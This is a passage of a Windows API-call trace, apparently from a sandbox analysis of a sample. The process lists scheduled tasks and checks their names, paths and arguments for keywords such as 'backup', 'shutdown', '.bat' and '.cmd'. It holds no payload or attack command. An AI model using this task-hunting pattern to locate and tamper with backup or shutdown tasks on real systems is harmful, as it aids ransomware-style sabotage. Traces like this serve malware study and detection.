This=0x24608b8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:7 /PBDADiscovery") returned 0x0 [0130.492] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6cab08 [0130.492] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0130.492] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="restart") returned 0x0 [0130.492] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0130.492] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0130.492] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0130.492] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr="backup") returned 0x0 [0130.492] wcsstr (_Str="/wait:7 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0130.492] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0130.492] IUnknown:Release (This=0x24608b8) returned 0x2 [0130.492] IUnknown:Release (This=0x24608b8) returned 0x1 [0130.493] IUnknown:Release (This=0x2460128) returned 0x1 [0130.493] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.493] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.493] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.493] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PBDADiscoveryW2") returned 0x0 [0130.493] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.494] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3f98 [0130.494] wcsstr (_Str="pbdadiscoveryw2", _SubStr="reboot") returned 0x0 [0130.494] wcsstr (_Str="pbdadiscoveryw2", _SubStr="restart") returned 0x0 [0130.494] wcsstr (_Str="pbdadiscoveryw2", _SubStr="shutdown") returned 0x0 [0130.494] wcsstr (_Str="pbdadiscoveryw2", _SubStr="logoff") returned 0x0 [0130.494] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".bat") returned 0x0 [0130.495] wcsstr (_Str="pbdadiscoveryw2", _SubStr="backup") returned 0x0 [0130.495] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".cmd") returned 0x0 [0130.495] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3f98) returned 1 [0130.495] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.500] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.500] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.500] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608b8) returned 0x0 [0130.500] IAction:get_Type (in: This=0x24608b8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.500] IUnknown:QueryInterface (in: This=0x24608b8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24608b8) returned 0x0 [0130.500] IExecAction:get_Path (in: This=0x24608b8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.500] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.500] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.500] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.500] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.500] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.500] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.500] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.500] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.500] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.500] IExecAction:get_Arguments (in: This=0x24608b8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:90 /PBDADiscovery") returned 0x0 [0130.500] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0130.500] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0130.500] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="restart") returned 0x0 [0130.500] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0130.500] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0130.500] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0130.500] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="backup") returned 0x0 [0130.501] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0130.501] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0130.501] IUnknown:Release (This=0x24608b8) returned 0x2 [0130.501] IUnknown:Release (This=0x24608b8) returned 0x1 [0130.501] IUnknown:Release (This=0x2460128) returned 0x1 [0130.501] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.501] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.501] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.501] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PeriodicScanRetry") returned 0x0 [0130.501] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.503] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.503] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.503] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrRecoveryTask") returned 0x0 [0130.503] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.504] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3e08 [0130.504] wcsstr (_Str="pvrrecoverytask", _SubStr="reboot") returned 0x0 [0130.504] wcsstr (_Str="pvrrecoverytask", _SubStr="restart") returned 0x0 [0130.504] wcsstr (_Str="pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0130.504] wcsstr (_Str="pvrrecoverytask", _SubStr="logoff") returned 0x0 [0130.504] wcsstr (_Str="pvrrecoverytask", _SubStr=".bat") returned 0x0 [0130.504] wcsstr (_Str="pvrrecoverytask", _SubStr="backup") returned 0x0 [0130.505] wcsstr (_Str="pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0130.505] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3e08) returned 1 [0130.505] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.510] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.510] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0130.510] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460878) returned 0x0 [0130.510] IAction:get_Type (in: This=0x2460878, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.510] IUnknown:QueryInterface (in: This=0x2460878, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460878) returned 0x0 [0130.510] IExecAction:get_Path (in: This=0x2460878, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0130.510] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c28a8 [0130.510] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0130.510] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0130.510] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0130.510] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0130.510] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0130.510] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0130.510] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0130.510] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.511] IExecAction:get_Arguments (in: This=0x2460878, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrRecoveryTask") returned 0x0 [0130.511] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0130.511] wcsstr (_Str="-pvrrecoverytask", _SubStr="reboot") returned 0x0 [0130.511] wcsstr (_Str="-pvrrecoverytask", _SubStr="restart") returned 0x0 [0130.511] wcsstr (_Str="-pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0130.511] wcsstr (_Str="-pvrrecoverytask", _SubStr="logoff") returned 0x0 [0130.511] wcsstr (_Str="-pvrrecoverytask", _SubStr=".bat") returned 0x0 [0130.511] wcsstr (_Str="-pvrrecoverytask", _SubStr="backup") returned 0x0 [0130.511] wcsstr (_Str="-pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0130.511] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.511] IUnknown:Release (This=0x2460878) returned 0x2 [0130.511] IUnknown:Release (This=0x2460878) returned 0x1 [0130.511] IActionCollection:get_Item (in: This=0x2460128, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608b8) returned 0x0 [0130.511] IAction:get_Type (in: This=0x24608b8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.511] IUnknown:Release (This=0x24608b8) returned 0x1 [0130.511] IUnknown:Release (This=0x2460128) returned 0x1 [0130.511] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.511] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.512] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.512] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrScheduleTask") returned 0x0 [0130.512] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.513] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f3d18 [0130.513] wcsstr (_Str="pvrscheduletask", _SubStr="reboot") returned 0x0 [0130.513] wcsstr (_Str="pvrscheduletask", _SubStr="restart") returned 0x0 [0130.513] wcsstr (_Str="pvrscheduletask", _SubStr="shutdown") returned 0x0 [0130.513] wcsstr (_Str="pvrscheduletask", _SubStr="logoff") returned 0x0 [0130.513] wcsstr (_Str="pvrscheduletask", _SubStr=".bat") returned 0x0 [0130.513] wcsstr (_Str="pvrscheduletask", _SubStr="backup") returned 0x0 [0130.513] wcsstr (_Str="pvrscheduletask", _SubStr=".cmd") returned 0x0 [0130.513] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.513] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.524] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.524] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0130.524] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460878) returned 0x0 [0130.524] IAction:get_Type (in: This=0x2460878, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.524] IUnknown:QueryInterface (in: This=0x2460878, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460878) returned 0x0 [0130.524] IExecAction:get_Path (in: This=0x2460878, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0130.524] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c28a8 [0130.524] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0130.524] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0130.524] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0130.524] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0130.524] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0130.524] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0130.524] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0130.524] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c28a8) returned 1 [0130.525] IExecAction:get_Arguments (in: This=0x2460878, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrSchedule") returned 0x0 [0130.525] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3cc8 [0130.525] wcsstr (_Str="-pvrschedule", _SubStr="reboot") returned 0x0 [0130.525] wcsstr (_Str="-pvrschedule", _SubStr="restart") returned 0x0 [0130.525] wcsstr (_Str="-pvrschedule", _SubStr="shutdown") returned 0x0 [0130.525] wcsstr (_Str="-pvrschedule", _SubStr="logoff") returned 0x0 [0130.525] wcsstr (_Str="-pvrschedule", _SubStr=".bat") returned 0x0 [0130.525] wcsstr (_Str="-pvrschedule", _SubStr="backup") returned 0x0 [0130.525] wcsstr (_Str="-pvrschedule", _SubStr=".cmd") returned 0x0 [0130.525] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3cc8) returned 1 [0130.525] IUnknown:Release (This=0x2460878) returned 0x2 [0130.525] IUnknown:Release (This=0x2460878) returned 0x1 [0130.525] IActionCollection:get_Item (in: This=0x2460128, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608b8) returned 0x0 [0130.525] IAction:get_Type (in: This=0x24608b8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0130.525] IUnknown:Release (This=0x24608b8) returned 0x1 [0130.525] IUnknown:Release (This=0x2460128) returned 0x1 [0130.525] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.525] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.525] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.525] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RecordingRestart") returned 0x0 [0130.525] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0130.529] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.530] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.530] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RegisterSearch") returned 0x0 [0130.530] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.531] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6f3fe8 [0130.531] wcsstr (_Str="registersearch", _SubStr="reboot") returned 0x0 [0130.531] wcsstr (_Str="registersearch", _SubStr="restart") returned 0x0 [0130.531] wcsstr (_Str="registersearch", _SubStr="shutdown") returned 0x0 [0130.532] wcsstr (_Str="registersearch", _SubStr="logoff") returned 0x0 [0130.532] wcsstr (_Str="registersearch", _SubStr=".bat") returned 0x0 [0130.532] wcsstr (_Str="registersearch", _SubStr="backup") returned 0x0 [0130.532] wcsstr (_Str="registersearch", _SubStr=".cmd") returned 0x0 [0130.532] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.532] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.536] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.536] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.537] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460878) returned 0x0 [0130.537] IAction:get_Type (in: This=0x2460878, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.537] IUnknown:QueryInterface (in: This=0x2460878, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460878) returned 0x0 [0130.537] IExecAction:get_Path (in: This=0x2460878, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.537] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.537] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.537] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.537] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.537] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.537] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.537] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.537] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.537] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.537] IExecAction:get_Arguments (in: This=0x2460878, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRegisterSearch $(Arg0)") returned 0x0 [0130.537] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0130.537] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="reboot") returned 0x0 [0130.537] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="restart") returned 0x0 [0130.537] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="shutdown") returned 0x0 [0130.537] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="logoff") returned 0x0 [0130.537] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".bat") returned 0x0 [0130.537] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="backup") returned 0x0 [0130.537] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".cmd") returned 0x0 [0130.537] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.537] IUnknown:Release (This=0x2460878) returned 0x2 [0130.537] IUnknown:Release (This=0x2460878) returned 0x1 [0130.537] IUnknown:Release (This=0x2460128) returned 0x1 [0130.537] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.537] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.538] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.538] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ReindexSearchRoot") returned 0x0 [0130.538] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.539] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0130.539] wcsstr (_Str="reindexsearchroot", _SubStr="reboot") returned 0x0 [0130.539] wcsstr (_Str="reindexsearchroot", _SubStr="restart") returned 0x0 [0130.539] wcsstr (_Str="reindexsearchroot", _SubStr="shutdown") returned 0x0 [0130.539] wcsstr (_Str="reindexsearchroot", _SubStr="logoff") returned 0x0 [0130.539] wcsstr (_Str="reindexsearchroot", _SubStr=".bat") returned 0x0 [0130.539] wcsstr (_Str="reindexsearchroot", _SubStr="backup") returned 0x0 [0130.539] wcsstr (_Str="reindexsearchroot", _SubStr=".cmd") returned 0x0 [0130.539] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.539] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.544] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.544] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.544] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460888) returned 0x0 [0130.544] IAction:get_Type (in: This=0x2460888, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.544] IUnknown:QueryInterface (in: This=0x2460888, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460888) returned 0x0 [0130.545] IExecAction:get_Path (in: This=0x2460888, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.545] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.545] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.545] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.545] IExecAction:get_Arguments (in: This=0x2460888, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoReindexSearchRoot") returned 0x0 [0130.545] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6cab08 [0130.545] wcsstr (_Str="/doreindexsearchroot", _SubStr="reboot") returned 0x0 [0130.545] wcsstr (_Str="/doreindexsearchroot", _SubStr="restart") returned 0x0 [0130.545] wcsstr (_Str="/doreindexsearchroot", _SubStr="shutdown") returned 0x0 [0130.545] wcsstr (_Str="/doreindexsearchroot", _SubStr="logoff") returned 0x0 [0130.545] wcsstr (_Str="/doreindexsearchroot", _SubStr=".bat") returned 0x0 [0130.545] wcsstr (_Str="/doreindexsearchroot", _SubStr="backup") returned 0x0 [0130.545] wcsstr (_Str="/doreindexsearchroot", _SubStr=".cmd") returned 0x0 [0130.545] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0130.545] IUnknown:Release (This=0x2460888) returned 0x2 [0130.545] IUnknown:Release (This=0x2460888) returned 0x1 [0130.545] IUnknown:Release (This=0x2460138) returned 0x1 [0130.545] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.545] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.545] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.546] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SqlLiteRecoveryTask") returned 0x0 [0130.546] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.547] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0130.547] wcsstr (_Str="sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0130.547] wcsstr (_Str="sqlliterecoverytask", _SubStr="restart") returned 0x0 [0130.547] wcsstr (_Str="sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0130.547] wcsstr (_Str="sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0130.547] wcsstr (_Str="sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0130.547] wcsstr (_Str="sqlliterecoverytask", _SubStr="backup") returned 0x0 [0130.547] wcsstr (_Str="sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0130.547] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.547] 